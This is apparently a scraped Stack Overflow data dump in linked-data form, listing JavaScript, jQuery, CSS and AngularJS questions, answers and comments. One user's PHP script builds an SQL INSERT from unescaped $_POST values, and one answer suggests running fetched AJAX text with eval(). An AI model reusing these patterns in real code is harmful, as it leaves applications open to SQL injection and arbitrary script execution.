tags question: http://stackoverflow.com/q/25602532
tags question: http://stackoverflow.com/q/25610441
tags question: http://stackoverflow.com/q/25686814
tags question: http://stackoverflow.com/q/25634883
tag name: image
tags question: http://stackoverflow.com/q/25673489
tags question: http://stackoverflow.com/q/25559905
tags question: http://stackoverflow.com/q/25656660
tags question: http://stackoverflow.com/q/25654275
type: Tag
tags question: http://stackoverflow.com/q/25629408
tags question: http://stackoverflow.com/q/25705867

http://stackoverflow.com/comment/46314796
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25684307
score: 0
has text: It doesn't seems possible to do so with nock apparently

http://stackoverflow.com/comment/39958988
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25583832
has text: Put `console.log(current26)` after line 35 and See What Happens (tm).
score: 0

http://stackoverflow.com/q/25661994
answer count: 1
has body: I recently discovered the CSS 3 filtering options of Chrome, which allowed me to do some fancy stuff that I otherwise wouldn't be able to do. However, it now turns out that this isn't quite compatible with Firefox and Opera (don't know about IE and Safari, as it is a hassle to install these on my Linux machine). I searched a bit on the net, but I can not find a good work around for this. I do find some cross browser work arounds for individual filters, but I really need to have the following work in all major browsers: -webkit-filter: contrast(0.5) sepia(100%) invert(100%) hue-rotate(350deg) brightness(2.5); filter: contrast(0.5) sepia(100%) invert(100%) hue-rotate(350deg) brightness(2.5); I would be fine with a Javascript library that can do this, but I also cannot find something like this. Does anyone have any ideas on this subject?
has comment: http://stackoverflow.com/comment/40104513
type: UnansweredQuestion
has title: Filter chains in browsers other than Chrome
tagged with: css
has answer: http://stackoverflow.com/a/25662126
type: Question
linked to: http://stackoverflow.com/q/25092391
tagged with: javascript
score: 0
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/q/25564831
type: Question
possible better answer: http://stackoverflow.com/a/25565151
accepted answer: http://stackoverflow.com/a/25564863
has answer: http://stackoverflow.com/a/25565151
upvote count: 5
tagged with: javascript
score: 4
has body: What's the difference between the following code? var a = 1; a.toString(); // outputs: "1" But this throws an error: 1.toString(); SyntaxError: Unexpected token ILLEGAL Why? Why does the first code work but the second code throws an error?
answer count: 3
favorite count: 0
has title: difference between numbers using or without using variable
has answer: http://stackoverflow.com/a/25564863
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25564940
downvote count: 1

http://stackoverflow.com/comment/40046496
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25628454
has text: @PabloMatíasGomez I added the last section as an answer to your comment. Also, search StackOverflow before posting, as these issues have been discussed hundreds of times.

http://stackoverflow.com/a/25697265
accepted answer of: http://stackoverflow.com/q/25693320
score: 3
has body: I've made this change to make that example working (check it here) we do not need state change in this case // instead of this $scope.go = function(route){ $state.go(route); }; $scope.$on('$stateChangeSuccess', function() { $scope.tabs.forEach(function(tab) { tab.active = $scope.active(tab.route); }); }); we should handle all the on tab selection // use just this $scope.go = function(t){ $scope.tabs.forEach(function(tab) { tab.active = $scope.active(t.route); }); $state.go(t.route); }; Check it here Also, try to reconsider using of the &lt;div ng-controller="myAppController"&gt; with ui-router. It could work, but with states you can define all the parts more effectively. Here I tried to show how to... no ng-controller, parent layout state...
upvote count: 3
has comment: http://stackoverflow.com/comment/40323416
has comment: http://stackoverflow.com/comment/40324070
downvote count: 0
answers question: http://stackoverflow.com/q/25693320
has comment: http://stackoverflow.com/comment/40167472
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40169392
type: Answer

http://stackoverflow.com/comment/49945948
type: Comment
has text: How's the progress on this? Has this been open sourced on GitHub anywhere?
score: 0
comment on: http://stackoverflow.com/q/25634174
type: QuestionComment

http://stackoverflow.com/comment/39921126
type: Comment
comment on: http://stackoverflow.com/q/25562821
score: 0
has text: yes i want only result
type: QuestionComment

http://stackoverflow.com/comment/40071512
score: 0
has text: Because I would assume that the isolated scope would contain either item or news because its bound to the actual element in ng-repeat. It's quite clearly inheriting it's parent properties when scope is set to true, but it's not inheriting when I tell it what it should inherit.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25645229

http://stackoverflow.com/a/25579881
downvote count: 0
answers question: http://stackoverflow.com/q/25579665
type: Answer
score: 1
upvote count: 1
has body: Try to think of your pages/documents in terms of structure rather than appearance. For example, a book is made up of a title page, table of contents and chapters. Similarly, the contents of a web page can usually be broken down into logical blocks, which are then styled as required. Don't forget that web pages may be read by screen readers - your want to structure your page so the spoken output makes sense. There has been a discussion of tables vs CSS at Why not use tables for layout in HTML?. You may also want to check out CSS Zen Garden, mentioned in that thread. Beyond this, I strongly recommend validating any HTML and CSS you write. Check out http://validator.w3.org/ for that purpose.

http://stackoverflow.com/comment/40142046
type: QuestionComment
has text: why do you use closest() here? its parent element doesnt have data property
score: 0
comment on: http://stackoverflow.com/q/25684754
type: Comment

http://stackoverflow.com/a/25666439
has body: Try this $(document).ready(function () { $(".osn").click(function(){ $('head').append('&lt;link href="cssFolder/sheet2.css" rel="stylesheet" id="stylenew" /&gt;'); });
score: 1
answers question: http://stackoverflow.com/q/25666367
downvote count: 0
type: Answer
upvote count: 1

http://stackoverflow.com/comment/39958887
type: Comment
score: 0
has text: Do you perhaps want to include the `/` inside the lookahead? Like, `/^\/(?!(?:admin|db)\/)/`? That way you'd allow "/administrator/" (which may or may not be important to you).
type: AnswerComment
comment on: http://stackoverflow.com/a/25583754

http://stackoverflow.com/q/25699435
downvote count: 2
has title: How would i change my validation and mail code to accept a drop down box instead of a input field?
type: Question
score: -2
has comment: http://stackoverflow.com/comment/40170491
upvote count: 0
answer count: 1
has body: What i want to do is to change my form from a static email subject to a drop down box that can only select pre generated subjects using a new field called subject. Ie sales , comments , feedback etcetera My JS /* Jquery Validation using jqBootstrapValidation example is taken from jqBootstrapValidation docs */ $(function() { $("input,textarea").jqBootstrapValidation( { preventSubmit: true, submitError: function($form, event, errors) { // something to have when submit produces an error ? // Not decided if I need it yet }, submitSuccess: function($form, event) { event.preventDefault(); // prevent default submit haviour // get values from FORM var name = $("input#name").val(); var email = $("input#email").val(); var message = $("textarea#message").val(); var firstName = name; // For Success/Failure Message // Check for white space in name for Success/Fail message if (firstName.indexOf(' ') >= 0) { firstName = name.split(' ').slice(0, -1).join(' '); } $.ajax({ url: "./bin/contact_me.php", type: "POST", data: {name: name, email: email, message: message}, cache: false, success: function() { // Success message $('#success').html(" "); $('#success > .alert-success').html(" ×") .append( " "); $('#success > .alert-success') .append("Your message has been sent. "); $('#success > .alert-success') .append(' '); //clear all fields $('#contactForm').trigger("reset"); }, error: function() { // Fail message $('#success').html(" "); $('#success > .alert-danger').html(" ×") .append( " "); $('#success > .alert-danger').append("Sorry "+firstName+" it seems that my mail server is not responding... Could you please email me directly to me@example.com ? Sorry for the inconvenience!"); $('#success > .alert-danger').append(' '); //clear all fields $('#contactForm').trigger("reset"); }, }) }, filter: function() { return $(this).is(":visible"); }, }); $("a[data-toggle=\"tab\"]").click(function(e) { e.preventDefault(); $(this).tab("show"); }); }); /*When clicking on Full hide fail/success boxes …
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: php
has answer: http://stackoverflow.com/a/25700178
type: UnansweredQuestion

http://stackoverflow.com/comment/39945600
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25576242
has text: You have a constructor function for `person` object that also includes a method function (as object's property).
score: 0

http://stackoverflow.com/comment/39963621
comment on: http://stackoverflow.com/q/25586319
score: 0
type: Comment
type: QuestionComment
has text: You question description is very hard to understand. Like a raw mind stream dump. So what is it that you are really need to accomplish? Make possible to select only one radio button per section?

http://stackoverflow.com/comment/39980764
comment on: http://stackoverflow.com/a/25595650
type: AnswerComment
type: Comment
has text: See http://benalman.com/news/2010/11/immediately-invoked-function-expression/ at "Immediately-Invoked Function Expression (IIFE)"
score: 0

http://stackoverflow.com/comment/39908980
has text: I appreciate the list given, but I need to store an actual array of event names that don't bubble for the purposes of event tracking with Google Analytics. Specifically, I need to know which events must be attached directly to the object vs those that can be delegated. A use-case for this in the context of XMLHttpRequest would be tracking `load` events on certain AJAX calls
comment on: http://stackoverflow.com/a/25556909
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40337007
comment on: http://stackoverflow.com/a/25787537
type: AnswerComment
score: 0
type: Comment
has text: does this only send one push to each user? or if a user has multiple items favourited will it send more than one push

http://stackoverflow.com/comment/40167686
has text: if is, then the POSTBACK function should return the value of this '$('iframeId').contents().get(0).location.href'. It will grab the content of the URL that the frame is working with. I did not test it, but seems legit from here http://stackoverflow.com/questions/748727/getting-the-current-src-of-an-iframe-using-jquery
comment on: http://stackoverflow.com/a/25698192
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/q/25665500
has answer: http://stackoverflow.com/a/25665596
has answer: http://stackoverflow.com/a/25665648
downvote count: 0
tagged with: javascript
has body: I need to remove all occurrences of color1...color99 from a string in JavaScript. I wrote a simple regex for this, but it doesn't work for some reason: &gt; 'color12'.replace('/color[1-9]?[0-9]/g','') 'color12' However if I create RegExp object, it works: &gt; var regex=new RegExp('color[1-9]?[0-9]','g'); &gt; 'color12'.replace(regex,''); '' What part of JavaScript regexp syntax am I missing?
has answer: http://stackoverflow.com/a/25665692
favorite count: 0
has answer: http://stackoverflow.com/a/25665614
answer count: 5
tagged with: regex
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25665692
has comment: http://stackoverflow.com/comment/40107354
upvote count: 1
type: Question
possible better answer: http://stackoverflow.com/a/25665597
has title: Regex replace('/color[1-9]?[0-9]/g','') not working in JavaScript
has answer: http://stackoverflow.com/a/25665597
score: 1

http://stackoverflow.com/a/39973512
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/25616520
has body: I am using Select2 4.0.3 and had to add two options: tags: true, selectOnBlur: true, This worked for me
score: 5
upvote count: 5
has comment: http://stackoverflow.com/comment/74380462

http://stackoverflow.com/a/25652786
answers question: http://stackoverflow.com/q/25652632
has body: I beleive its not SubmitButton = "disabled"; It should be $("#SubmitButton").prop("disabled",true);
type: Answer
score: 0

http://stackoverflow.com/comment/40066355
type: QuestionComment
has text: Isn't jQuery an option?
comment on: http://stackoverflow.com/q/25555216
score: 0
type: Comment

http://stackoverflow.com/a/25605817
type: Answer
score: 0
has body: One solution: gulp.task('foo', [], function() { var barFiles = getBarFiles(); var bazFiles = getBazFiles(); var barStream, bazStream; if (barFiles &amp;&amp; barFiles.length &gt; 0) { barStream = gulp.src(barFiles); } if (bazStream &amp;&amp; bazStream.length &gt; 0) { bazStream = gulp.src(bazStream); } var mergedStream; if (barStream &amp;&amp; bazStream) { mergedStream = eventStream .merge(barStream, bazStream); } else if (barStream || bazStream) { mergedStream = barStream || bazStream; } if (mergedStream) { return mergedStream .pipe(g.concat('bar-and-baz')) .pipe(gulp.dest('./foo-output/')); } }); This side-steps the the need to create an empty stream by testing each of the streams, and merging them only when both are present. However, I would still like to know of a way to create an empty stream in gulp.
answers question: http://stackoverflow.com/q/25605469

http://stackoverflow.com/comment/40060343
comment on: http://stackoverflow.com/q/25639290
type: Comment
type: QuestionComment
score: 0
has text: Redirect with a flag in the url that the previous page can recognise, then trigger a refresh if it's present on the previous page.

http://stackoverflow.com/q/25666199
tagged with: arrays
tagged with: javascript
tagged with: jquery
tagged with: multidimensional-array
answer count: 1
favorite count: 0
score: -4
has answer: http://stackoverflow.com/a/25666268
tagged with: object
type: AnsweredQuestion
has title: Key-value to object
has body: I got a key-value object like this: items = {1:"a",2:"v",3:"u"}; But i want it like this. items = [{"key":"1","value","a"},{"key":"2","value","v"},{"key":"3","value","u"}]; What is the best way to do this? I have already tried to do this with $.each. var items = {1:"a",2:"v",3:"u"}; var newItems = []; $(items).each(function(k,v){ newItems.push({"key":k,"value":v}); }); And please tell me what is wrong with this question!
type: Question
downvote count: 4
upvote count: 0
accepted answer: http://stackoverflow.com/a/25666268

http://stackoverflow.com/q/25575417
has body: I need to put a tracking pixel into my html page. I'm using this snippet: &lt;script type='text/javascript'&gt; var dataString="a=10&amp;b=19"; var track = new Image(); track.src="http://pixel.tag.com/event/im.gif?" + dataString; &lt;/script&gt; Why do I not need to encode the string contained in dataString? It could contain non ASCII character. Is there any reason? Thanks, Alessio
has title: Javascript: how to write a tracking pixel with a query string
accepted answer: http://stackoverflow.com/a/25575596
type: AnsweredQuestion
tagged with: pixel
downvote count: 1
type: Question
tagged with: ascii
has comment: http://stackoverflow.com/comment/39943862
has comment: http://stackoverflow.com/comment/39944342
upvote count: 0
tagged with: javascript
score: -1
has answer: http://stackoverflow.com/a/25575596
answer count: 1
tagged with: query-string
favorite count: 0
tagged with: encode

http://stackoverflow.com/comment/39979500
type: QuestionComment
type: Comment
has text: Where are you calling get_username from? I don't see it anywhere in your code. Maybe it's a scoping issue?
comment on: http://stackoverflow.com/q/25594801
score: 0

http://stackoverflow.com/q/25643305
has answer: http://stackoverflow.com/a/25643584
has comment: http://stackoverflow.com/comment/40067233
has answer: http://stackoverflow.com/a/25643477
answer count: 4
has comment: http://stackoverflow.com/comment/40067098
favorite count: 0
has answer: http://stackoverflow.com/a/25643636
has answer: http://stackoverflow.com/a/25643607
possible better answer: http://stackoverflow.com/a/25643584
upvote count: 2
accepted answer: http://stackoverflow.com/a/25643477
has comment: http://stackoverflow.com/comment/40067224
has comment: http://stackoverflow.com/comment/40067287
type: AnsweredQuestion
score: 2
has comment: http://stackoverflow.com/comment/40067126
type: Question
has comment: http://stackoverflow.com/comment/40067157
has title: Declaring a variable inside if statement in JavaScript
downvote count: 0
has body: Why is the following not valid JavaScript? if (var foo = (true || false)) { console.log(foo); }
tagged with: javascript
has comment: http://stackoverflow.com/comment/40067337
has comment: http://stackoverflow.com/comment/40067265

http://stackoverflow.com/a/39270734
has comment: http://stackoverflow.com/comment/66719485
has comment: http://stackoverflow.com/comment/66601576
has comment: http://stackoverflow.com/comment/66746314
has comment: http://stackoverflow.com/comment/66586883
has comment: http://stackoverflow.com/comment/72588265
downvote count: 0
has comment: http://stackoverflow.com/comment/66513396
type: Answer
has comment: http://stackoverflow.com/comment/66492718
score: 1
has comment: http://stackoverflow.com/comment/66449450
upvote count: 1
has body: Thanks oBo, I extended your code to also work with the title attribute, which I needed on my slides, with some jQuery to find the title attribute. var title; // [...] onslidecomplete: function(index, slide) { title = $(slide).find("img").attr("title"); var href = this.list[index].getAttribute('href'); slide.innerHTML = "" + slide.innerHTML + ""; } Full Code: HTML JS $(document).ready(function() { //BlueImp Carousel document.getElementById('links-home').onclick = function(event) { event = event || window.event; var target = event.target || event.srcElement, link = target.src ? target.parentNode : target, options = { index: link, event: event }, links = this.getElementsByTagName('a'); blueimp.Gallery(links, options); }; var title; blueimp.Gallery( document.getElementById('links-home').getElementsByTagName('a'), { container: '#blueimp-gallery-carousel-home', carousel: true, thumbnailIndicators: false, transitionSpeed: 400, slideshowInterval: 8000, clearSlides: true, titleElement: 'h4', urlProperty: 'link', onslidecomplete: function(index, slide) { title = $(slide).find("img").attr("title"); var href = this.list[index].getAttribute('href'); slide.innerHTML = "" + slide.innerHTML + ""; } } ); });
answers question: http://stackoverflow.com/q/25566745

http://stackoverflow.com/q/25609407
has comment: http://stackoverflow.com/comment/40005930
score: 1
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25609501
tagged with: focus
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25609580
has body: I'm trying to detect when an input tag is selected, trying to catch its class name. For example, &lt;input id="aa1" class="bbb" style="height: 30px; width: 100%"/&gt; &lt;input id="aa2" class="bbb" style="height: 30px; width: 100%"/&gt; &lt;input id="aa3" class="bbb" style="height: 30px; width: 100%"/&gt; In my javascript I want to detect when an input with a class is selected. For that I'm doing: $(".bbb").focus(function () { var row_id = $(this.id); }); This jQuery focus method is only reached if the first input (id="aa1") is selected.. All the others are not detected.. Why? Can you help me? How do I solve this? Thank you, Best Regards, William.
has answer: http://stackoverflow.com/a/25609580
has title: Jquery - detect focus by class
upvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25609501

http://stackoverflow.com/comment/39907277
type: QuestionComment
comment on: http://stackoverflow.com/q/25556157
score: 0
has text: @ckersch Yes I am, would it make any difference?
type: Comment

http://stackoverflow.com/q/25647951
has comment: http://stackoverflow.com/comment/40077508
duplicate of: http://stackoverflow.com/q/2325134
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40075956
has comment: http://stackoverflow.com/comment/40080856
duplicate of: http://stackoverflow.com/q/546392
linked to: http://stackoverflow.com/q/2325134
answer count: 0
linked to: http://stackoverflow.com/q/546392
tagged with: forms
type: Question
has body: I am trying to grab a form inside a usercontrol with asp server pages. I have tried multiple things but without luck. &lt;tr id="trManageAddress" runat="server" visible="false"&gt; &lt;td&gt; &lt;form id="addressForm"&gt;...form here....&lt;/form&gt; &lt;script type="text/javascript"&gt; var addressForm = document.getElementById("addressForm"); if (addressForm == null) alert("null"); else alert("good"); &lt;/script&gt; &lt;/td&gt; &lt;/tr&gt; However the alert keeps returning with null. I don't see what I am doing wrong here? Note Before testing, an other piece of code sets trManageAddress visible to true. Edit I got noticed I shouldn't include a second form but use the form in the master page, the issue is solved now I can successful access the masterpage form.
has comment: http://stackoverflow.com/comment/40076198
tagged with: javascript
has title: getelementbyid returns null in asp server page
has comment: http://stackoverflow.com/comment/40076030
score: 0
tagged with: asp.net

http://stackoverflow.com/comment/39967766
comment on: http://stackoverflow.com/q/25588473
type: QuestionComment
has text: Yes, say was a typo. I need this to display in a drop down so user can pick a year then month then a day inside the year-month conbination. But rather than showing 1,2,3... for the days I would also like to show the day name 1-mon, 2-tues, 3-wed...
score: 0
type: Comment

http://stackoverflow.com/comment/40176446
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25703138
has text: see also http://stackoverflow.com/questions/1787322/htmlspecialchars-equivalent-in-javascript , it seems beeing a similar article
type: Comment

http://stackoverflow.com/q/25691079
answer count: 4
has comment: http://stackoverflow.com/comment/40154662
has answer: http://stackoverflow.com/a/25694379
has answer: http://stackoverflow.com/a/25691124
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40155411
tagged with: php
has answer: http://stackoverflow.com/a/25691373
has title: Ajax call always returns error even on successful call
has comment: http://stackoverflow.com/comment/40154599
has body: I'm trying to get the hang of Ajax calls and I'm struggling with a basic peace of code :) I keep getting the error alert even when the call seems to be successful. I tried to debug the code and added some breakpoints and noticed that done-function does execute. The form-info has been written away and a string is returned from the php-script. For a brief while the text does appear but then disapears after the done-function. While debugging i don't get the error message. It only appears while running the script normally. Any help would be greatly appreciated. Title: Composer: Link: Description: test.php <?php $dbc = mysqli_connect('localhost', 'root', '', 'db'); if ($dbc->connect_error) { die('Connect Error: ' . $dbc->connect_error); } $title = $_POST['title']; $composer = $_POST['composer']; $link = $_POST['link']; $description= $_POST['description']; $query = "INSERT INTO table(Titel, Componist, Link, Description) VALUES ('$title', '$composer', '$link', '$description')"; mysqli_query($dbc, $query); $resultquery = mysqli_query($dbc,"SELECT * FROM table"); $result = ""; while($row = mysqli_fetch_assoc($resultquery)){ $result .= $row["Titel"]." | ".$row["Componist"]." | ".$row["Link"]." | ".$row["Description"]."\n"; } echo $result; mysqli_close($dbc); ?>
has answer: http://stackoverflow.com/a/25691296
type: Question
has comment: http://stackoverflow.com/comment/40155387
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0

http://stackoverflow.com/comment/40099618
type: Comment
has text: 1. You were rather close, except for that first `$`! 2. `[,]` is a class consisting of only 1 character; 3. the flag `i` stands for "ignore case", which adds a bit of processing time but is not useful for a string consisting of only digits.
comment on: http://stackoverflow.com/q/25659480
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40161861
comment on: http://stackoverflow.com/q/25694999
has text: Can you add an event to input, like onclick, and when it is fired, you change the class of tag a?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25677681
tagged with: inheritance
tagged with: prototype
score: 0
has comment: http://stackoverflow.com/comment/40130407
possible better answer: http://stackoverflow.com/a/29428649
tagged with: instanceof
has comment: http://stackoverflow.com/comment/40129704
has answer: http://stackoverflow.com/a/29428649
has answer: http://stackoverflow.com/a/29462303
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40129752
tagged with: file
has body: I have an &lt;input type="file"&gt; with a local file selected, which I would like to upload to the server as a File, not as a Blob. I'm grabbing it with jQuery (element and then .files[0] or .prop('files')[0]). By every indication but one, the prototype of this object is File: Object.getPrototypeOf(file) // =&gt; File {slice: function} file.__proto__ // =&gt; File {slice: function} file.constructor // =&gt; function File() { [native code] } file.constructor.prototype // =&gt; File {slice: function} And yet: file instanceof File // =&gt; false file instanceof Blob // =&gt; true What gives?
has comment: http://stackoverflow.com/comment/40130231
type: Question
has title: JavaScript - File is instance of File, but `instanceof File` is false
has comment: http://stackoverflow.com/comment/40130225
has comment: http://stackoverflow.com/comment/40129863
answer count: 2
accepted answer: http://stackoverflow.com/a/29462303
tagged with: javascript

http://stackoverflow.com/comment/40162501
type: Comment
has text: That new code uses `addEventListener` improperly. Also, in general, you can't use userscript functions from the console. But, in this case you could by defining it like: `window.SB_Change = function (type){`. ... Anyway, you need to open a new question for these new problems.
comment on: http://stackoverflow.com/a/25676262
score: 0
type: AnswerComment

http://stackoverflow.com/comment/39952994
has text: About the close vote: I rephrased it. It no longer is based on your opinion.
score: 0
comment on: http://stackoverflow.com/q/25580407
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25591346
has body: I wanted to know how to load 2 diffrent json based on condition .controller("myCtrl", ['$scope','$http', function($scope, $http) { if (lang==1){ $scope.myVariable = []; $http.get('json/data.json').success (function(data){ $scope.myVariable = data; }); } else if (lang==2){ $scope.myVariable = []; $http.get('json/data_ar.json').success (function(data){ $scope.myVariable = data; }); } }]) the variable passes to lang but json not loading if lang==2 I want to load data.json if english and data_ar.json for arabic. I do this on click of anchor tag
tagged with: http://stackoverflow.com/tag/json
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39973119
has title: Load two different json based on condition
tagged with: javascript
type: Question
has answer: http://stackoverflow.com/a/25591783
has comment: http://stackoverflow.com/comment/39972896
has answer: http://stackoverflow.com/a/25591455
has answer: http://stackoverflow.com/a/25591481
tagged with: angularjs
score: 0
answer count: 3

http://stackoverflow.com/comment/40072978
type: Comment
comment on: http://stackoverflow.com/q/25631798
has text: but when i remove click function and aftershow contents only `this.maxHeight = $(window).height();` `$.fancybox.update();` all works fine , but i need assign this to click...
score: 0
type: QuestionComment

onclick
tags question: http://stackoverflow.com/q/25634651
tags question: http://stackoverflow.com/q/25620542
tags question: http://stackoverflow.com/q/25654938
tags question: http://stackoverflow.com/q/25601463
tags question: http://stackoverflow.com/q/25678379
type: Tag
tags question: http://stackoverflow.com/q/25601264
tags question: http://stackoverflow.com/q/25672728
tag name: onclick
tags question: http://stackoverflow.com/q/25647032
tags question: http://stackoverflow.com/q/25678534
tags question: http://stackoverflow.com/q/25710149
tags question: http://stackoverflow.com/q/25629406
tags question: http://stackoverflow.com/q/25660038
tags question: http://stackoverflow.com/q/25584114

http://stackoverflow.com/a/25707806
answers question: http://stackoverflow.com/q/25707025
upvote count: 1
score: 1
downvote count: 0
has body: You don't create the iframe tag, fancybox does. I can't tell which version of fancybox you're using so here are code sample for both. Version 1.x (http://fancybox.net/howto) Create an anchor tag with a class that tells fancybox to open an iframe Open form or, use the URL itself Open form Version 2.x (http://fancyapps.com/fancybox/#docs) Create an anchor tag with a custom data attribute that tells fancybox to open an iframe Open form The fact that fancybox creates the iframe for you means you won't have direct control of the iframe attributes, but I don't think you will need them with fancybox. You can pass options to fancybox that impact the way the fancybox is displayed. There are too many to list, but they well documented at the links above. This is how to specify them: $(".fancybox").fancybox({ option : value, option2 : value2 });
type: Answer

http://stackoverflow.com/comment/45623882
type: AnswerComment
comment on: http://stackoverflow.com/a/25604379
type: Comment
has text: was using JSON.stringify and realized later it didn't automatically escape the quotes
score: 0

http://stackoverflow.com/comment/39975578
type: QuestionComment
comment on: http://stackoverflow.com/q/25591229
has text: Note, since this is running in a browser that is not a client's browser, you could also try a different browser.
score: 0
type: Comment

http://stackoverflow.com/comment/39940836
type: QuestionComment
type: Comment
score: 1
has text: Like this? http://jsfiddle.net/atk91pwg/6/
comment on: http://stackoverflow.com/q/25559988

http://stackoverflow.com/q/25614050
tagged with: forms
has comment: http://stackoverflow.com/comment/40014448
has comment: http://stackoverflow.com/comment/40038607
has title: Javascript Dynamic Form Duplication Issue
type: Question
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40014566
has body: I'm writing a dynamic form to use as an order form for ordering t-shirts and hoodies, tanks, etc. How The Form Is Supposed To Work 1-You first choose the "Type of Garment" you'd like: T-shirts, hoodies, tanks, or long-sleeves. That then generates the "Garment Style" list. 2-Then choose the "Garment Style" you'd like: Gildan 5000, Tultex 0202TC, etc. This then generates a list of the available colors for that particular garment. 3-Then you choose your color and you are finished. The Problem When you choose your "Garment Type" it shows the DIV which holds the form information that gives you your color options, as it is supposed to. But, when you choose another "Garment Type", instead of hiding the previous DIV and replacing it with the new Garment Type's color options, it generates the new DIV underneath the previous color options. It's kind of difficult to explain, but I've included the code below so you can see for yourselves! Any and all help is appreciated, thank you! UPDATE: I've put the code into a JSFiddle here: http://jsfiddle.net/oym3ondo/ First select Tshirt. Then choose gildan 5000. Then choose Gildan 2000 and so on. It will keep creating the color menus instead of replacing the existing one. Shirt/Design Info Select Garment: Please Select A Garment Type: T-Shirts Hoodies Tanks Long Sleeves Select Garment Style: Please Select A T-Shirt Style: Gildan 5000 Gildan Ultra 2000 Gildan Softstyle 64000 Gildan Ladies 5000L Tultex Unisex 0202TC Tultex Ladies 0213TC American Apparel 2001 American Apparel Ladies 2102 Anvil 980 Please Select A Hoodie Style: Gildan 18500 Pullover Hoodie Gildan 18600 Zip Up Hoodie Tultex 0320TC Pullover Hood Tultex 0331TC Zipper Hood Please Select A Tank Top Style: Gildan 2200 Tank Tultex Unisex Tank Tultex Ladies Racerback Tank Anvil 986 Tank American Apparel Tank Please Select A Long Sleeve Style: Gildan 5400 Long Sleeve Tee Gildan 18000 Crewneck Tultex Unisex 3/4 Raglan Tee Select Shirt Color: Please Select A Color Green Opt2 Opt3 Plea…
has comment: http://stackoverflow.com/comment/40041529
tagged with: http://stackoverflow.com/tag/html
favorite count: 0
answer count: 0
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40041579
score: 1

http://stackoverflow.com/q/25564704
tagged with: http://stackoverflow.com/tag/json
has body: I keep receiving a code 141 error success/error was not called. I am running another function getCinemasInLocation which returns a JSON like: {result: [result1, result2]}. I want to iterate over this array and run a query each time the loop runs and all the results to an array. That is, the results of all oteration will be in an array. Am I doing it right? //This function uses getCinemasInLocation to retrieve the movie objects that are showing in the cinemas Parse.Cloud.define("getMovieIdsInCinemas", function(request, response) { var cinemasInLocaton = []; var theLocation = request.params.theLocation; cinemasInLocation = Parse.Cloud.run("getCinemasInLocation", {theLocation: theLocation}); for (i = 0; i &lt; cinemasInLocation.length; i++){ var query = new Parse.Query("showing"); var movieIds = []; query.equalTo("cinema", { __type: "Pointer", className: "Cinema", objectId: cinemasInLocation[i] }); query.find({ success: function(results) { for (var i = 0; i &lt; results.length; i++) { movieIds.push(results[i].get("movie")); } response.success(movieIds); }, error: function() { response.error("movie lookup failed 2"); } }); } }); This is the getCinemasInLocation that does not work function getCinemasInLocation(theLocation) { // some code //var result = ["xiUXXYFhAl","Yanh9iDykk"]; //return result; var result = new Parse.Promise(); var query = new Parse.Query("Cinema"); query.equalTo("Location", theLocation); query.find({ success: function(objects) { var cinemas = []; for (var i = 0; i &lt; objects.length; i++) { var cinema = objects[i]; cinemas.push(cinema.id); } result.resolve(cinemas); }, error: function(error) { result.reject(error); } }); return result; }
tagged with: cloud
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
has title: Code 141 success/error message not called on parse cloud code nested query
tagged with: parse-cloud-code
has answer: http://stackoverflow.com/a/25581735
accepted answer: http://stackoverflow.com/a/25581735
tagged with: parse-platform
upvote count: 1
type: Question
type: AnsweredQuestion
score: 1

http://stackoverflow.com/comment/40176986
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25703442
score: 0
has text: @Rhumborl This is the answer I used before I asked question here and did not work. Please see my edit it looks like that html browser sees gets something like that: `onclick=Call%28%29%3B`

http://stackoverflow.com/comment/40020404
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25617268
type: QuestionComment
has text: @arun Performance. Its for a plugin.

http://stackoverflow.com/a/25586305
type: Answer
answers question: http://stackoverflow.com/q/25586030
score: 0
has body: If you absolutely must use AJAX to grab a file, then try to execute it, you can do so with the following code: eval(ajaxResponseText); Another way to do this is to generate a tag from an XHR taking advantage of the data URI scheme. var script = document.createElement("script") script.src = "data:text/javascript;charset=utf8," + encodeURIComponent(ajaxResponseText); document.body.appendChild(script); EDIT Now that there is an example illuminating your question, I must amend my answer. You cannot make a Cross-Origin request using ajax on just about all browsers without abiding by the CORS specification because of the prevalence and severity of cross-origin attacks. The Cross Origin Resource Sharing specification allows you to make ajax requests to a different origin so long as the new origin permits it. If it is not working, the javascript console might be a good place to look for errors.

http://stackoverflow.com/comment/40149787
type: QuestionComment
has text: you need to set a cookie
score: 0
comment on: http://stackoverflow.com/q/25688829
type: Comment

http://stackoverflow.com/comment/40050744
comment on: http://stackoverflow.com/a/25633555
type: Comment
has text: Perhaps this might be interesting: [Why is my variable unaltered after I modify it inside of a function? - Asynchronous code reference](http://stackoverflow.com/questions/23667086/why-is-my-variable-unaltered-after-i-modify-it-inside-of-a-function-asynchron)
score: 1
type: AnswerComment

http://stackoverflow.com/comment/40040108
type: Comment
